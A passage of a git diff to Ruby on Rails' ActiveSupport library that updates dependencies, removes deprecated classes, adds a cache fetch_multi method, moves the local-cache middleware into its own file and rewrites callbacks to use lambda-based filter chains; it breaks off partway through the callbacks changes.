diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index b46a331..f3625e8 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -20,9 +20,9 @@ Gem::Specification.new do |s|
 
   s.rdoc_options.concat ['--encoding',  'UTF-8']
 
-  s.add_dependency('i18n',       '~> 0.6', '>= 0.6.4')
-  s.add_dependency 'multi_json', '~> 1.3'
-  s.add_dependency 'tzinfo',     '~> 0.3.37'
-  s.add_dependency 'minitest',   '~> 4.2'
+  s.add_dependency 'i18n',       '~> 0.6', '>= 0.6.9'
+  s.add_dependency 'json',       '~> 1.7', '>= 1.7.7'
+  s.add_dependency 'tzinfo',     '~> 1.1'
+  s.add_dependency 'minitest',   '~> 5.1'
   s.add_dependency 'thread_safe','~> 0.1'
 end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
index 5fefa42..f39e89b 100755
--- a/activesupport/bin/generate_tables
+++ b/activesupport/bin/generate_tables
@@ -28,12 +28,6 @@ module ActiveSupport
 
         def initialize
           @ucd = Unicode::UnicodeDatabase.new
-
-          default = Codepoint.new
-          default.combining_class = 0
-          default.uppercase_mapping = 0
-          default.lowercase_mapping = 0
-          @ucd.codepoints = Hash.new(default)
         end
 
         def parse_codepoints(line)
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index ffa6ffd..ab0054b 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2005-2013 David Heinemeier Hansson
+# Copyright (c) 2005-2014 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -39,7 +39,6 @@ module ActiveSupport
 
   eager_autoload do
     autoload :BacktraceCleaner
-    autoload :BasicObject
     autoload :ProxyObject
     autoload :Benchmarkable
     autoload :Cache
@@ -53,6 +52,7 @@ module ActiveSupport
     autoload :MessageEncryptor
     autoload :MessageVerifier
     autoload :Multibyte
+    autoload :NumberHelper
     autoload :OptionMerger
     autoload :OrderedHash
     autoload :OrderedOptions
@@ -64,6 +64,12 @@ module ActiveSupport
   autoload :Rescuable
   autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
   autoload :TestCase
+
+  def self.eager_load!
+    super
+
+    NumberHelper.eager_load!
+  end
 end
 
 autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index c719c3b..d58578b 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -13,17 +13,17 @@ module ActiveSupport
   # can focus on the rest.
   #
   #   bc = BacktraceCleaner.new
-  #   bc.add_filter   { |line| line.gsub(Rails.root, '') }
-  #   bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
-  #   bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
+  #   bc.add_filter   { |line| line.gsub(Rails.root, '') } # strip the Rails.root prefix
+  #   bc.add_silencer { |line| line =~ /mongrel|rubygems/ } # skip any lines from mongrel or rubygems
+  #   bc.clean(exception.backtrace) # perform the cleanup
   #
   # To reconfigure an existing BacktraceCleaner (like the default one in Rails)
   # and show as much data as possible, you can always call
   # <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
   # backtrace to a pristine state. If you need to reconfigure an existing
   # BacktraceCleaner so that it does not filter or modify the paths of any lines
-  # of the backtrace, you can call BacktraceCleaner#remove_filters! These two
-  # methods will give you a completely untouched backtrace.
+  # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt>
+  # These two methods will give you a completely untouched backtrace.
   #
   # Inspired by the Quiet Backtrace gem by Thoughtbot.
   class BacktraceCleaner
diff --git a/activesupport/lib/active_support/basic_object.rb b/activesupport/lib/active_support/basic_object.rb
deleted file mode 100644
index 91aac6d..0000000
--- a/activesupport/lib/active_support/basic_object.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'active_support/deprecation'
-require 'active_support/proxy_object'
-
-module ActiveSupport
-  class BasicObject < ProxyObject # :nodoc:
-    def self.inherited(*)
-      ::ActiveSupport::Deprecation.warn 'ActiveSupport::BasicObject is deprecated! Use ActiveSupport::ProxyObject instead.'
-      super
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb
index 6413502..805b7a7 100644
--- a/activesupport/lib/active_support/benchmarkable.rb
+++ b/activesupport/lib/active_support/benchmarkable.rb
@@ -45,15 +45,5 @@ module ActiveSupport
         yield
       end
     end
-
-    # Silence the logger during the execution of the block.
-    def silence
-      message = "ActiveSupport::Benchmarkable#silence is deprecated. It will be removed from Rails 4.1."
-      ActiveSupport::Deprecation.warn message
-      old_logger_level, logger.level = logger.level, ::Logger::ERROR if logger
-      yield
-    ensure
-      logger.level = old_logger_level if logger
-    end
   end
 end
diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb
deleted file mode 100644
index 1cd0c2f..0000000
--- a/activesupport/lib/active_support/buffered_logger.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'active_support/deprecation'
-require 'active_support/logger'
-
-module ActiveSupport
-  class BufferedLogger < Logger
-
-    def initialize(*args)
-      self.class._deprecation_warning
-      super
-    end
-
-    def self.inherited(*)
-      _deprecation_warning
-      super
-    end
-
-    def self._deprecation_warning
-      ::ActiveSupport::Deprecation.warn 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index fc470f3..2b7f594 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -3,7 +3,7 @@ require 'zlib'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/benchmark'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/numeric/bytes'
 require 'active_support/core_ext/numeric/time'
 require 'active_support/core_ext/object/to_param'
@@ -12,10 +12,10 @@ require 'active_support/core_ext/string/inflections'
 module ActiveSupport
   # See ActiveSupport::Cache::Store for documentation.
   module Cache
-    autoload :FileStore, 'active_support/cache/file_store'
-    autoload :MemoryStore, 'active_support/cache/memory_store'
+    autoload :FileStore,     'active_support/cache/file_store'
+    autoload :MemoryStore,   'active_support/cache/memory_store'
     autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
-    autoload :NullStore, 'active_support/cache/null_store'
+    autoload :NullStore,     'active_support/cache/null_store'
 
     # These options mean something to all cache implementations. Individual cache
     # implementations may support additional options.
@@ -88,25 +88,24 @@ module ActiveSupport
       end
 
       private
+        def retrieve_cache_key(key)
+          case
+          when key.respond_to?(:cache_key) then key.cache_key
+          when key.is_a?(Array)            then key.map { |element| retrieve_cache_key(element) }.to_param
+          when key.respond_to?(:to_a)      then retrieve_cache_key(key.to_a)
+          else                                  key.to_param
+          end.to_s
+        end
 
-      def retrieve_cache_key(key)
-        case
-        when key.respond_to?(:cache_key) then key.cache_key
-        when key.is_a?(Array)            then key.map { |element| retrieve_cache_key(element) }.to_param
-        when key.respond_to?(:to_a)      then retrieve_cache_key(key.to_a)
-        else                                  key.to_param
-        end.to_s
-      end
-
-      # Obtains the specified cache store class, given the name of the +store+.
-      # Raises an error when the store class cannot be found.
-      def retrieve_store_class(store)
-        require "active_support/cache/#{store}"
-      rescue LoadError => e
-        raise "Could not find cache store adapter for #{store} (#{e})"
-      else
-        ActiveSupport::Cache.const_get(store.to_s.camelize)
-      end
+        # Obtains the specified cache store class, given the name of the +store+.
+        # Raises an error when the store class cannot be found.
+        def retrieve_store_class(store)
+          require "active_support/cache/#{store}"
+        rescue LoadError => e
+          raise "Could not find cache store adapter for #{store} (#{e})"
+        else
+          ActiveSupport::Cache.const_get(store.to_s.camelize)
+        end
     end
 
     # An abstract cache store class. There are multiple cache store
@@ -153,7 +152,6 @@ module ActiveSupport
     # or +write+. To specify the threshold at which to compress values, set the
     # <tt>:compress_threshold</tt> option. The default threshold is 16K.
     class Store
-
       cattr_accessor :logger, :instance_writer => true
 
       attr_reader :silence, :options
@@ -228,7 +226,7 @@ module ActiveSupport
       #
       # Setting <tt>:race_condition_ttl</tt> is very useful in situations where
       # a cache entry is used very frequently and is under heavy load. If a
-      # cache expires and due to heavy load seven different processes will try
+      # cache expires and due to heavy load several different processes will try
       # to read data natively and then they all will try to write to cache. To
       # avoid that case the first process to find an expired cache entry will
       # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
@@ -352,11 +350,40 @@ module ActiveSupport
         results
       end
 
+      # Fetches data from the cache, using the given keys. If there is data in
+      # the cache with the given keys, then that data is returned. Otherwise,
+      # the supplied block is called for each key for which there was no data,
+      # and the result will be written to the cache and returned.
+      #
+      # Options are passed to the underlying cache implementation.
+      #
+      # Returns an array with the data for each of the names. For example:
+      #
+      #   cache.write("bim", "bam")
+      #   cache.fetch_multi("bim", "boom") {|key| key * 2 }
+      #   # => ["bam", "boomboom"]
+      #
+      def fetch_multi(*names)
+        options = names.extract_options!
+        options = merged_options(options)
+
+        results = read_multi(*names, options)
+
+        names.map do |name|
+          results.fetch(name) do
+            value = yield name
+            write(name, value, options)
+            value
+          end
+        end
+      end
+
       # Writes the value to the cache, with the key.
       #
       # Options are passed to the underlying cache implementation.
       def write(name, value, options = nil)
         options = merged_options(options)
+
         instrument(:write, name, options) do
           entry = Entry.new(value, options)
           write_entry(namespaced_key(name, options), entry, options)
@@ -368,19 +395,21 @@ module ActiveSupport
       # Options are passed to the underlying cache implementation.
       def delete(name, options = nil)
         options = merged_options(options)
+
         instrument(:delete, name) do
           delete_entry(namespaced_key(name, options), options)
         end
       end
 
-      # Return +true+ if the cache contains an entry for the given key.
+      # Returns +true+ if the cache contains an entry for the given key.
       #
       # Options are passed to the underlying cache implementation.
       def exist?(name, options = nil)
         options = merged_options(options)
+
         instrument(:exist?, name) do
           entry = read_entry(namespaced_key(name, options), options)
-          entry && !entry.expired?
+          (entry && !entry.expired?) || false
         end
       end
 
@@ -423,7 +452,7 @@ module ActiveSupport
       # Clear the entire cache. Be careful with this method since it could
       # affect other processes if shared cache is being used.
       #
-      # Options are passed to the underlying cache implementation.
+      # The options hash is passed to the underlying cache implementation.
       #
       # All implementations may not support this method.
       def clear(options = nil)
@@ -557,6 +586,7 @@ module ActiveSupport
           result = instrument(:generate, name, options) do |payload|
             yield(name)
           end
+
           write(name, result, options)
           result
         end
@@ -580,6 +610,7 @@ module ActiveSupport
         else
           @value = value
         end
+
         @created_at = Time.now.to_f
         @expires_in = options[:expires_in]
         @expires_in = @expires_in.to_f if @expires_in
@@ -630,6 +661,7 @@ module ActiveSupport
       # serialize entries to protect against accidental cache modifications.
       def dup_value!
         convert_version_4beta1_entry! if defined?(@v)
+
         if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
           if @value.is_a?(String)
             @value = @value.dup
@@ -644,8 +676,10 @@ module ActiveSupport
           if value && options[:compress]
             compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
             serialized_value_size = (value.is_a?(String) ? value : Marshal.dump(value)).bytesize
+
             return true if serialized_value_size >= compress_threshold
           end
+
           false
         end
 
@@ -668,10 +702,12 @@ module ActiveSupport
             @value = @v
             remove_instance_variable(:@v)
           end
+
           if defined?(@c)
             @compressed = @c
             remove_instance_variable(:@c)
           end
+
           if defined?(@x) && @x
             @created_at ||= Time.now.to_f
             @expires_in = @x - @created_at
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index 2670648..8ed60ae 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -22,11 +22,15 @@ module ActiveSupport
         extend Strategy::LocalCache
       end
 
+      # Deletes all items from the cache. In this case it deletes all the entries in the specified
+      # file store directory except for .gitkeep. Be careful which directory is specified in your
+      # config file when using +FileStore+ because everything in that directory will be deleted.
       def clear(options = nil)
         root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)}
         FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
       end
 
+      # Preemptively iterates through all stored keys and removes the ones which have expired.
       def cleanup(options = nil)
         options = merged_options(options)
         search_dir(cache_path) do |fname|
@@ -36,32 +40,16 @@ module ActiveSupport
         end
       end
 
+      # Increments an already existing integer value that is stored in the cache.
+      # If the key is not found nothing is done.
       def increment(name, amount = 1, options = nil)
-        file_name = key_file_path(namespaced_key(name, options))
-        lock_file(file_name) do
-          options = merged_options(options)
-          if num = read(name, options)
-            num = num.to_i + amount
-            write(name, num, options)
-            num
-          else
-            nil
-          end
-        end
+        modify_value(name, amount, options)
       end
 
+      # Decrements an already existing integer value that is stored in the cache.
+      # If the key is not found nothing is done.
       def decrement(name, amount = 1, options = nil)
-        file_name = key_file_path(namespaced_key(name, options))
-        lock_file(file_name) do
-          options = merged_options(options)
-          if num = read(name, options)
-            num = num.to_i - amount
-            write(name, num, options)
-            num
-          else
-            nil
-          end
-        end
+        modify_value(name, -amount, options)
       end
 
       def delete_matched(matcher, options = nil)
@@ -89,6 +77,7 @@ module ActiveSupport
 
         def write_entry(key, entry, options)
           file_name = key_file_path(key)
+          return false if options[:unless_exist] && File.exist?(file_name)
           ensure_cache_path(File.dirname(file_name))
           File.atomic_write(file_name, cache_path) {|f| Marshal.dump(entry, f)}
           true
@@ -175,6 +164,22 @@ module ActiveSupport
             end
           end
         end
+
+        # Modifies the amount of an already existing integer value that is stored in the cache.
+        # If the key is not found nothing is done.
+        def modify_value(name, amount, options)
+          file_name = key_file_path(namespaced_key(name, options))
+
+          lock_file(file_name) do
+            options = merged_options(options)
+
+            if num = read(name, options)
+              num = num.to_i + amount
+              write(name, num, options)
+              num
+            end
+          end
+        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index 5122965..61b4f0b 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -41,17 +41,15 @@ module ActiveSupport
       #
       # If no addresses are specified, then MemCacheStore will connect to
       # localhost port 11211 (the default memcached port).
-      #
-      # Instead of addresses one can pass in a MemCache-like object. For example:
-      #
-      #   require 'memcached' # gem install memcached; uses C bindings to libmemcached
-      #   ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
       def initialize(*addresses)
         addresses = addresses.flatten
         options = addresses.extract_options!
         super(options)
 
-        if addresses.first.respond_to?(:get)
+        unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
+          raise ArgumentError, "First argument must be an empty array, an array of hosts or a Dalli::Client instance."
+        end
+        if addresses.first.is_a?(Dalli::Client)
           @data = addresses.first
         else
           mem_cache_options = options.dup
@@ -87,7 +85,7 @@ module ActiveSupport
         instrument(:increment, name, :amount => amount) do
           @data.incr(escape_key(namespaced_key(name, options)), amount)
         end
-      rescue Dalli::DalliError
+      rescue Dalli::DalliError => e
         logger.error("DalliError (#{e}): #{e.message}") if logger
         nil
       end
@@ -101,7 +99,7 @@ module ActiveSupport
         instrument(:decrement, name, :amount => amount) do
           @data.decr(escape_key(namespaced_key(name, options)), amount)
         end
-      rescue Dalli::DalliError
+      rescue Dalli::DalliError => e
         logger.error("DalliError (#{e}): #{e.message}") if logger
         nil
       end
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
index d319819..8a0523d 100644
--- a/activesupport/lib/active_support/cache/memory_store.rb
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -36,6 +36,7 @@ module ActiveSupport
         end
       end
 
+      # Preemptively iterates through all stored keys and removes the ones which have expired.
       def cleanup(options = nil)
         options = merged_options(options)
         instrument(:cleanup, :size => @data.size) do
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index fb42c4a..2891b90 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -1,5 +1,6 @@
 require 'active_support/core_ext/object/duplicable'
 require 'active_support/core_ext/string/inflections'
+require 'active_support/per_thread_registry'
 
 module ActiveSupport
   module Cache
@@ -8,6 +9,8 @@ module ActiveSupport
       # duration of a block. Repeated calls to the cache for the same key will hit the
       # in-memory cache for faster access.
       module LocalCache
+        autoload :Middleware, 'active_support/cache/strategy/local_cache_middleware'
+
         # Class for storing and registering the local caches.
         class LocalCacheRegistry # :nodoc:
           extend ActiveSupport::PerThreadRegistry
@@ -23,6 +26,9 @@ module ActiveSupport
           def set_cache_for(local_cache_key, value)
             @registry[local_cache_key] = value
           end
+
+          def self.set_cache_for(l, v); instance.set_cache_for l, v; end
+          def self.cache_for(l); instance.cache_for l; end
         end
 
         # Simple memory backed cache. This cache is not thread safe and is intended only
@@ -60,32 +66,6 @@ module ActiveSupport
         def with_local_cache
           use_temporary_local_cache(LocalStore.new) { yield }
         end
-
-        #--
-        # This class wraps up local storage for middlewares. Only the middleware method should
-        # construct them.
-        class Middleware # :nodoc:
-          attr_reader :name, :local_cache_key
-
-          def initialize(name, local_cache_key)
-            @name             = name
-            @local_cache_key = local_cache_key
-            @app              = nil
-          end
-
-          def new(app)
-            @app = app
-            self
-          end
-
-          def call(env)
-            LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
-            @app.call(env)
-          ensure
-            LocalCacheRegistry.set_cache_for(local_cache_key, nil)
-          end
-        end
-
         # Middleware class can be inserted as a Rack handler to be local cache for the
         # duration of request.
         def middleware
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
new file mode 100644
index 0000000..901c2e0
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
@@ -0,0 +1,39 @@
+require 'rack/body_proxy'
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+
+        #--
+        # This class wraps up local storage for middlewares. Only the middleware method should
+        # construct them.
+        class Middleware # :nodoc:
+          attr_reader :name, :local_cache_key
+
+          def initialize(name, local_cache_key)
+            @name             = name
+            @local_cache_key = local_cache_key
+            @app              = nil
+          end
+
+          def new(app)
+            @app = app
+            self
+          end
+
+          def call(env)
+            LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+            response = @app.call(env)
+            response[2] = ::Rack::BodyProxy.new(response[2]) do
+              LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+            end
+            response
+          rescue Exception
+            LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+            raise
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 22adcd6..e14ece7 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -1,19 +1,20 @@
-require 'thread_safe'
 require 'active_support/concern'
 require 'active_support/descendants_tracker'
+require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/kernel/singleton_class'
+require 'thread'
 
 module ActiveSupport
-  # Callbacks are code hooks that are run at key points in an object's lifecycle.
+  # Callbacks are code hooks that are run at key points in an object's life cycle.
   # The typical use case is to have a base class define a set of callbacks
   # relevant to the other functionality it supplies, so that subclasses can
   # install callbacks that enhance or modify the base functionality without
   # needing to override or redefine methods of the base class.
   #
   # Mixing in this module allows you to define the events in the object's
-  # lifecycle that will support callbacks (via +ClassMethods.define_callbacks+),
+  # life cycle that will support callbacks (via +ClassMethods.define_callbacks+),
   # set the instance methods, procs, or callback objects to be called (via
   # +ClassMethods.set_callback+), and run the installed callbacks at the
   # appropriate times (via +run_callbacks+).
@@ -76,171 +77,333 @@ module ActiveSupport
     #     save
     #   end
     def run_callbacks(kind, &block)
-      runner_name = self.class.__define_callbacks(kind, self)
-      send(runner_name, &block)
+      cbs = send("_#{kind}_callbacks")
+      if cbs.empty?
+        yield if block_given?
+      else
+        runner = cbs.compile
+        e = Filters::Environment.new(self, false, nil, block)
+        runner.call(e).value
+      end
     end
 
     private
 
-    # A hook invoked everytime a before callback is halted.
+    # A hook invoked every time a before callback is halted.
     # This can be overridden in AS::Callback implementors in order
     # to provide better debugging/logging.
     def halted_callback_hook(filter)
     end
 
-    class Callback #:nodoc:#
-      @@_callback_sequence = 0
-
-      attr_accessor :chain, :filter, :kind, :options, :klass, :raw_filter
+    module Conditionals # :nodoc:
+      class Value
+        def initialize(&block)
+          @block = block
+        end
+        def call(target, value); @block.call(value); end
+      end
+    end
 
-      def initialize(chain, filter, kind, options, klass)
-        @chain, @kind, @klass = chain, kind, klass
-        deprecate_per_key_option(options)
-        normalize_options!(options)
+    module Filters
+      Environment = Struct.new(:target, :halted, :value, :run_block)
 
-        @raw_filter, @options = filter, options
-        @filter               = _compile_filter(filter)
-        recompile_options!
+      class End
+        def call(env)
+          block = env.run_block
+          env.value = !env.halted && (!block || block.call)
+          env
+        end
       end
+      ENDING = End.new
 
-      def deprecate_per_key_option(options)
-        if options[:per_key]
-          raise NotImplementedError, ":per_key option is no longer supported. Use generic :if and :unless options instead."
+      class Before
+        def self.build(next_callback, user_callback, user_conditions, chain_config, filter)
+          halted_lambda = chain_config[:terminator]
+
+          if chain_config.key?(:terminator) && user_conditions.any?
+            halting_and_conditional(next_callback, user_callback, user_conditions, halted_lambda, filter)
+          elsif chain_config.key? :terminator
+            halting(next_callback, user_callback, halted_lambda, filter)
+          elsif user_conditions.any?
+            conditional(next_callback, user_callback, user_conditions)
+          else
+            simple next_callback, user_callback
+          end
         end
-      end
 
-      def clone(chain, klass)
-        obj                  = super()
-        obj.chain            = chain
-        obj.klass            = klass
-        obj.options          = @options.dup
-        obj.options[:if]     = @options[:if].dup
-        obj.options[:unless] = @options[:unless].dup
-        obj
-      end
+        private
+
+        def self.halting_and_conditional(next_callback, user_callback, user_conditions, halted_lambda, filter)
+          lambda { |env|
+            target = env.target
+            value  = env.value
+            halted = env.halted
 
-      def normalize_options!(options)
-        options[:if] = Array(options[:if])
-        options[:unless] = Array(options[:unless])
+            if !halted && user_conditions.all? { |c| c.call(target, value) }
+              result = user_callback.call target, value
+              env.halted = halted_lambda.call(target, result)
+              if env.halted
+                target.send :halted_callback_hook, filter
+              end
+            end
+            next_callback.call env
+          }
+        end
+
+        def self.halting(next_callback, user_callback, halted_lambda, filter)
+          lambda { |env|
+            target = env.target
+            value  = env.value
+            halted = env.halted
+
+            unless halted
+              result = user_callback.call target, value
+              env.halted = halted_lambda.call(target, result)
+              if env.halted
+                target.send :halted_callback_hook, filter
+              end
+            end
+            next_callback.call env
+          }
+        end
+
+        def self.conditional(next_callback, user_callback, user_conditions)
+          lambda { |env|
+            target = env.target
+            value  = env.value
+
+            if user_conditions.all? { |c| c.call(target, value) }
+              user_callback.call target, value
+            end
+            next_callback.call env
+          }
+        end
+
+        def self.simple(next_callback, user_callback)
+          lambda { |env|
+            user_callback.call env.target, env.value
+            next_callback.call env
+          }
+        end
       end
 
-      def name
-        chain.name
+      class After
+        def self.build(next_callback, user_callback, user_conditions, chain_config)
+          if chain_config[:skip_after_callbacks_if_terminated]
+            if chain_config.key?(:terminator) && user_conditions.any?
+              halting_and_conditional(next_callback, user_callback, user_conditions)
+            elsif chain_config.key?(:terminator)
+              halting(next_callback, user_callback)
+            elsif user_conditions.any?
+              conditional next_callback, user_callback, user_conditions
+            else
+              simple next_callback, user_callback
+            end
+          else
+            if user_conditions.any?
+              conditional next_callback, user_callback, user_conditions
+            else
+              simple next_callback, user_callback
+            end
+          end
+        end
+
+        private
+
+        def self.halting_and_conditional(next_callback, user_callback, user_conditions)
+          lambda { |env|
+            env = next_callback.call env
+            target = env.target
+            value  = env.value
+            halted = env.halted
+
+            if !halted && user_conditions.all? { |c| c.call(target, value) }
+              user_callback.call target, value
+            end
+            env
+          }
+        end
+
+        def self.halting(next_callback, user_callback)
+          lambda { |env|
+            env = next_callback.call env
+            unless env.halted
+              user_callback.call env.target, env.value
+            end
+            env
+          }
+        end
+
+        def self.conditional(next_callback, user_callback, user_conditions)
+          lambda { |env|
+            env = next_callback.call env
+            target = env.target
+            value  = env.value
+
+            if user_conditions.all? { |c| c.call(target, value) }
+              user_callback.call target, value
+            end
+            env
+          }
+        end
+
+        def self.simple(next_callback, user_callback)
+          lambda { |env|
+            env = next_callback.call env
+            user_callback.call env.target, env.value
+            env
+          }
+        end
       end
 
-      def next_id
-        @@_callback_sequence += 1
+      class Around
+        def self.build(next_callback, user_callback, user_conditions, chain_config)
+          if chain_config.key?(:terminator) && user_conditions.any?
+            halting_and_conditional(next_callback, user_callback, user_conditions)
+          elsif chain_config.key? :terminator
+            halting(next_callback, user_callback)
+          elsif user_conditions.any?
+            conditional(next_callback, user_callback, user_conditions)
+          else
+            simple(next_callback, user_callback)
+          end
+        end
+
+        private
+
+        def self.halting_and_conditional(next_callback, user_callback, user_conditions)
+          lambda { |env|
+            target = env.target
+            value  = env.value
+            halted = env.halted
+
+            if !halted && user_conditions.all? { |c| c.call(target, value) }
+              user_callback.call(target, value) {
+                env = next_callback.call env
+                env.value
+              }
+              env
+            else
+              next_callback.call env
+            end
+          }
+        end
+
+        def self.halting(next_callback, user_callback)
+          lambda { |env|
+            target = env.target
+            value  = env.value
+
+            unless env.halted
+              user_callback.call(target, value) {
+                env = next_callback.call env
+                env.value
+              }
+              env
+            else
+              next_callback.call env
+            end
+          }
+        end
+
+        def self.conditional(next_callback, user_callback, user_conditions)
+          lambda { |env|
+            target = env.target
+            value  = env.value
+
+            if user_conditions.all? { |c| c.call(target, value) }
+              user_callback.call(target, value) {
+                env = next_callback.call env
+                env.value
+              }
+              env
+            else
+              next_callback.call env
+            end
+          }
+        end
+
+        def self.simple(next_callback, user_callback)
+          lambda { |env|
+            user_callback.call(env.target, env.value) {
+              env = next_callback.call env
+              env.value
+            }
+            env
+          }
+        end
       end
+    end
 
-      def matches?(_kind, _filter)
-        @kind == _kind && @filter == _filter
+    class Callback #:nodoc:#
+      def self.build(chain, filter, kind, options)
+        new chain.name, filter, kind, options, chain.config
       end
 
-      def duplicates?(other)
-        matches?(other.kind, other.filter)
+      attr_accessor :kind, :name
+      attr_reader :chain_config
+
+      def initialize(name, filter, kind, options, chain_config)
+        @chain_config  = chain_config
+        @name    = name
+        @kind    = kind
+        @filter  = filter
+        @key     = compute_identifier filter
+        @if      = Array(options[:if])
+        @unless  = Array(options[:unless])
       end
 
-      def _update_filter(filter_options, new_options)
-        filter_options[:if].concat(Array(new_options[:unless])) if new_options.key?(:unless)
-        filter_options[:unless].concat(Array(new_options[:if])) if new_options.key?(:if)
+      def filter; @key; end
+      def raw_filter; @filter; end
+
+      def merge(chain, new_options)
+        options = {
+          :if     => @if.dup,
+          :unless => @unless.dup
+        }
+
+        options[:if].concat     Array(new_options.fetch(:unless, []))
+        options[:unless].concat Array(new_options.fetch(:if, []))
+
+        self.class.build chain, @filter, @kind, options
       end
 
-      def recompile!(_options)
-        deprecate_per_key_option(_options)
-        _update_filter(self.options, _options)
+      def matches?(_kind, _filter)
+        @kind == _kind && filter == _filter
+      end
 
-        recompile_options!
+      def duplicates?(other)
+        case @filter
+        when Symbol, String
+          matches?(other.kind, other.filter)
+        else
+          false
+        end
       end
 
       # Wraps code with filter
-      def apply(code)
-        case @kind
+      def apply(next_callback)
+        user_conditions = conditions_lambdas
+        user_callback = make_lambda @filter
+
+        case kind
         when :before
-          <<-RUBY_EVAL
-            if !halted && #{@compiled_options}
-              # This double assignment is to prevent warnings in 1.9.3 as
-              # the `result` variable is not always used except if the
-              # terminator code refers to it.
-              result = result = #{@filter}
-              halted = (#{chain.config[:terminator]})
-              if halted
-                halted_callback_hook(#{@raw_filter.inspect.inspect})
-              end
-            end
-            #{code}
-          RUBY_EVAL
+          Filters::Before.build(next_callback, user_callback, user_conditions, chain_config, @filter)
         when :after
-          <<-RUBY_EVAL
-          #{code}
-          if #{!chain.config[:skip_after_callbacks_if_terminated] || "!halted"} && #{@compiled_options}
-            #{@filter}
-          end
-          RUBY_EVAL
+          Filters::After.build(next_callback, user_callback, user_conditions, chain_config)
         when :around
-          name = define_conditional_callback
-          <<-RUBY_EVAL
-          #{name}(halted) do
-            #{code}
-            value
-          end
-          RUBY_EVAL
+          Filters::Around.build(next_callback, user_callback, user_conditions, chain_config)
         end
       end
 
       private
 
-      # Compile around filters with conditions into proxy methods
-      # that contain the conditions.
-      #
-      # For `set_callback :save, :around, :filter_name, if: :condition':
-      #
-      #   def _conditional_callback_save_17
-      #     if condition
-      #       filter_name do
-      #         yield self
-      #       end
-      #     else
-      #       yield self
-      #     end
-      #   end
-      def define_conditional_callback
-        name = "_conditional_callback_#{@kind}_#{next_id}"
-        @klass.class_eval <<-RUBY_EVAL,  __FILE__, __LINE__ + 1
-          def #{name}(halted)
-           if #{@compiled_options} && !halted
-             #{@filter} do
-               yield self
-             end
-           else
-             yield self
-           end
-         end
-        RUBY_EVAL
-        name
-      end
-
-      # Options support the same options as filters themselves (and support
-      # symbols, string, procs, and objects), so compile a conditional
-      # expression based on the options.
-      def recompile_options!
-        conditions = ["true"]
-
-        unless options[:if].empty?
-          conditions << Array(_compile_filter(options[:if]))
-        end
-
